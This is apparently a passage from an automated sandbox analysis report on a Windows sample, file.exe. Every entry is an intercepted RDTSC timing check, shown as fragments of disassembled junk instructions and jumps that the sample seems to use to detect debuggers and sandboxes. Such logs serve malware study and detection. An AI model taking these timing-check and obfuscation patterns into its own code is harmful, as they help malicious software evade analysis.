Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898EE9 second address: 898EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898EEF second address: 898EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898EF3 second address: 898EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D46B second address: 89D46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D46F second address: 89D473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D473 second address: 89D479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D479 second address: 89D487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F367D44DA08h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D487 second address: 89D490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D490 second address: 89D49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D49B second address: 89D49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D49F second address: 89D4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F367D44DA06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F367D44DA0Dh 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F367D44DA10h 0x0000001d push edi 0x0000001e pop edi 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C68B second address: 89C6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F367CBFD3D6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007F367CBFD3E5h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C7DE second address: 89C809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F367D44DA15h 0x0000000e jmp 00007F367D44DA0Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C809 second address: 89C835 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F367CBFD3E9h 0x00000011 jl 00007F367CBFD3D6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C835 second address: 89C84D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F367D44DA0Ch 0x00000008 je 00007F367D44DA06h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jne 00007F367D44DA06h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CB64 second address: 89CB68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CE0C second address: 89CE15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CE15 second address: 89CE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E8h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CE3A second address: 89CE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CF85 second address: 89CF92 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5C62 second address: 8A5C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5C66 second address: 8A5C6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3CDD second address: 8A3D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Dh 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F367D44DA18h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D0A second address: 8A3D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D0F second address: 8A3D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA17h 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3EC7 second address: 8A3ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4017 second address: 8A4026 instructions: 0x00000000 rdtsc 0x00000002 js 00007F367D44DA06h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4026 second address: 8A4031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F367CBFD3D6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4031 second address: 8A4040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367D44DA0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A48AF second address: 8A48B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A535F second address: 8A5364 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA6C2 second address: 8AA6D8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F367CBFD3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F367CBFD3DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA6D8 second address: 8AA6F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F367D44DA18h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE61F second address: 8AE646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F367CBFD3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F367CBFD3E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE646 second address: 8AE656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE656 second address: 8AE65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE65C second address: 8AE683 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F367D44DA06h 0x00000008 jmp 00007F367D44DA17h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE683 second address: 8AE68D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F367CBFD3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE68D second address: 8AE693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD807 second address: 8AD80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD80D second address: 8AD811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD811 second address: 8AD817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD954 second address: 8AD959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD959 second address: 8AD961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE07C second address: 8AE086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F367D44DA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE086 second address: 8AE0D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F367CBFD3E8h 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F367CBFD3E4h 0x0000001d jmp 00007F367CBFD3DEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE0D8 second address: 8AE0DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE0DE second address: 8AE0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72D6 second address: 8B72F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA19h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72F3 second address: 8B72FD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F367CBFD3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5563 second address: 8B55A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F367D44DA0Fh 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F367D44DA0Fh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F367D44DA06h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B55A3 second address: 8B55C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnc 00007F367CBFD3D6h 0x0000000f pop ebx 0x00000010 jng 00007F367CBFD3E6h 0x00000016 jmp 00007F367CBFD3DAh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5701 second address: 8B5707 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B59DF second address: 8B5A14 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F367CBFD3DDh 0x00000008 jne 00007F367CBFD3D6h 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F367CBFD3E9h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B60A1 second address: 8B60DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Dh 0x00000007 pushad 0x00000008 jmp 00007F367D44DA10h 0x0000000d ja 00007F367D44DA06h 0x00000013 jnl 00007F367D44DA06h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e jc 00007F367D44DA32h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B60DC second address: 8B60E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B60E2 second address: 8B60FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA18h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6AB6 second address: 8B6AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F367CBFD3E7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9C43 second address: 8C9C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F367D44DA06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9C52 second address: 8C9C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9C56 second address: 8C9C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE2A2 second address: 8CE2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE2A8 second address: 8CE2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE2AC second address: 8CE2BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F367CBFD3D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE2BE second address: 8CE2D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Dh 0x00000007 jl 00007F367D44DA06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0635 second address: 8D0644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F367CBFD3D6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0644 second address: 8D064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F367D44DA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2AE5 second address: 8D2AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05D2 second address: 8E05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05D6 second address: 8E05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F367CBFD3D6h 0x00000013 jmp 00007F367CBFD3DAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9CD6 second address: 8E9CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA26C second address: 8EA295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F367CBFD3D6h 0x0000000a pop edx 0x0000000b jbe 00007F367CBFD3DEh 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F367CBFD3D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA295 second address: 8EA2AD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F367D44DA06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F367D44DA08h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA3E3 second address: 8EA3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F367CBFD3D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA584 second address: 8EA588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA2A second address: 8EDA6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F367CBFD3E1h 0x00000012 jmp 00007F367CBFD3E1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA6C second address: 8EDA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA70 second address: 8EDA8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F367CBFD3DEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA8A second address: 8EDA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA8E second address: 8EDAB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 jmp 00007F367CBFD3E1h 0x0000000e jl 00007F367CBFD3D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1EA3 second address: 8F1EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1CE3 second address: 8F1CEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1CEC second address: 8F1CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F367D44DA06h 0x0000000d jl 00007F367D44DA06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF85B second address: 8FF8A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F367CBFD3E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e jp 00007F367CBFD3D6h 0x00000014 jne 00007F367CBFD3D6h 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F367CBFD3E2h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jnp 00007F367CBFD3D6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90450B second address: 904545 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007F367D44DA06h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop eax 0x00000018 jmp 00007F367D44DA0Ah 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F367D44DA12h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA29E second address: 8FA2AB instructions: 0x00000000 rdtsc 0x00000002 je 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9109E2 second address: 910A08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 ja 00007F367D44DA06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F367D44DA0Ch 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9104E7 second address: 9104F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F367CBFD3D6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9104F6 second address: 9104FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9104FC second address: 910502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910502 second address: 910538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F367D44DA19h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F367D44DA13h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7A7 second address: 92A7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7AF second address: 92A7D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA19h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
